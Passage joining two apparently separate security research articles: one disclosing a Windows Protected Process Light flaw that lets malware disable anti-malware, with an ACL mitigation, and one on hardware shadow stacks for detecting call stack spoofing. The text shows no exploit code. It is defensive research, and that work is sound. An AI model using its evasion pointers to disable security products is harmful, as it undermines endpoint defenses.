The SYSTEM_PROCESS_TRUST_LABEL_ACE_TYPE access control entry limits access to READ_CONTROL, TOKEN_QUERY, and TOKEN_QUERY_SOURCE (0x00020018) unless the caller is a WinTcb protected process (SID S-1-19-1024-8192). That SID can be interpreted as follows:

• 1: Revision 1
• 19: SECURITY_PROCESS_TRUST_AUTHORITY
• 1024: SECURITY_PROCESS_PROTECTION_TYPE_FULL_RID
• 8192: SECURITY_PROCESS_PROTECTION_LEVEL_WINTCB_RID

Mitigation

Alongside this article, we are releasing an update to the PPLGuard proof-of-concept that protects all running anti-malware PPL processes against this attack. It includes example code that anti-malware products can employ to protect themselves. Here it is in action, protecting Defender:

Disclosure

We disclosed this vulnerability and proposed fixes to the Microsoft Security Response Center (MSRC) on 2022-01-05. They responded on 2022-01-24 that they have classified it as moderate severity, and will not address it with a security update. However, they may address it in a future version of Windows.

Conclusion

In this article, we disclosed a flaw in the Windows Protected Process Light (PPL) mechanism. We then demonstrated how malware can use this flaw to neutralize PPL anti-malware products. Finally, we showed a simple ACL fix (with sample code) that anti-malware products can employ to defend against this attack. Elastic Security already incorporates this fix, but we hope that Windows implements it (or something equivalent) by default in the near future.

HSP creates a shadow stack, separate from the regular stack. It is read-only in user mode, and consists exclusively of return addresses. Contrast this with the regular stack, which interleaves data with return addresses, and must be writable for applications to function correctly. Whenever a CALL instruction executes, the current instruction pointer (aka return address) is pushed onto both the regular and shadow stacks. Conversely, RET instructions pop the return address from both stacks, generating an exception if they mismatch. In theory, ROP attacks are mitigated because attackers can't write arbitrary values to the read-only shadow stack, and changing the Shadow Stack Pointer (SSP) is a privileged operation, making pivots impossible.

Today we’re going to discuss three additional benefits that HSP brings, beyond the intended exploit mitigation capability, then go into some limitations.

Debugging

Although designed as an exploit mitigation, HSP provides useful data for other purposes. Modern versions of WinDbg will display a hint to the user that they can use SSP as an alternate way to recover a stack trace. This can be very useful when debugging stack corruption bugs that overwrite return addresses, because the shadow stack is independent. It's also useful in situations where the stack unwind data is unavailable.

For example, see the WinDbg output below for a process memory dump. The k command displays a regular stack trace. dps @ssp resolves all symbols it can find, starting at SSP - this is essentially a shadow stack trace. Note how the two stack traces are identical except for the first frame:

Performance

Kernel mode components such as EDR and ETW often capture stack traces to provide additional context to each event. On x64 platforms, a stack walk entails capturing the thread’s context, then looking up a data structure for each frame that enables the walker to "unwind" it and find the next frame. These lookups were slow enough that Microsoft saw fit to construct a multi-tier cache system when they added x64 support. You can see the traverse/unwind process approximated here in ReactOS, sans cache.

Given that the entire shadow stack likely resides on a single page and no unwinding is required, shadow stack walking is probably more performant than traditional stack walking, though this has yet to be proven.

Detection

The shadow stack provides an interesting detection opportunity. Adversaries can use techniques demonstrated in ThreadStackSpoofer and CallStackSpoofer to obfuscate their presence against thread stack scans (e.g. StackWalk64) and inline stack traces like Sysmon Open Process events.

By comparing a traditional stack walk against its shadowy sibling, we can both detect and bypass thread stack spoofing. We present ShadowStackWalk, a PoC that implements CaptureStackBackTrace/StackWalk64 using the shadow stack to catch thread stack spoofing.

When the stack is normal, ShadowStackWalk functions similarly to CaptureStackBackTrace and StackWalk64:

ShadowStackWalk is unaffected by intentional breaks of the call stack such as ThreadStackSpoofer. Frames missed by other techniques are in green:

ShadowStackWalk doesn't care about forged stack frames. Incorrect frames are in red. Frames missed by other techniques are in green:

Limitations

Hardware support for HSP is limited. HSP requires at least an 11th-gen Intel or 5000-series Ryzen CPU, both released in late 2020. There is no software emulation. It will take years for the majority of CPUs to support HSP.

Software support for HSP is limited. Microsoft has been slowly rolling it out, even among their own processes. On an example Windows 10 22H2 workstation, it's enabled in roughly 40% of processes. Because HSP is an exploit mitigation, implementation will likely start with common exploitation targets like web browsers, though not all msedge.exe processes shown below are not protected by it. As HSP matures and support improves, non-HSP processes will become outliers worthy of additional scrutiny, similar to processes in 2023 without DEP support. For now, malware can simply choose processes without HSP enabled. Also of note is that HSP does not support WOW64 at all.

HSP was designed with an exploit mitigation threat model. It was never designed to defend against adversaries who have code execution, can change thread contexts, and perform system calls. In time, adversaries will adapt their call stack manipulations to manipulate the shadow stack as well. However, the fact that the shadow stack is user-RO and changing the SSP is privileged operation means that such tampering requires system calls which can (theoretically) be subjected to far more scrutiny than traditional stack tampering.

Conclusion

Today we discussed three potential benefits of Windows Hardware Stack Protection, and released a PoC demonstrating how it can be used to both detect and defeat defense evasions that manipulate the call stack.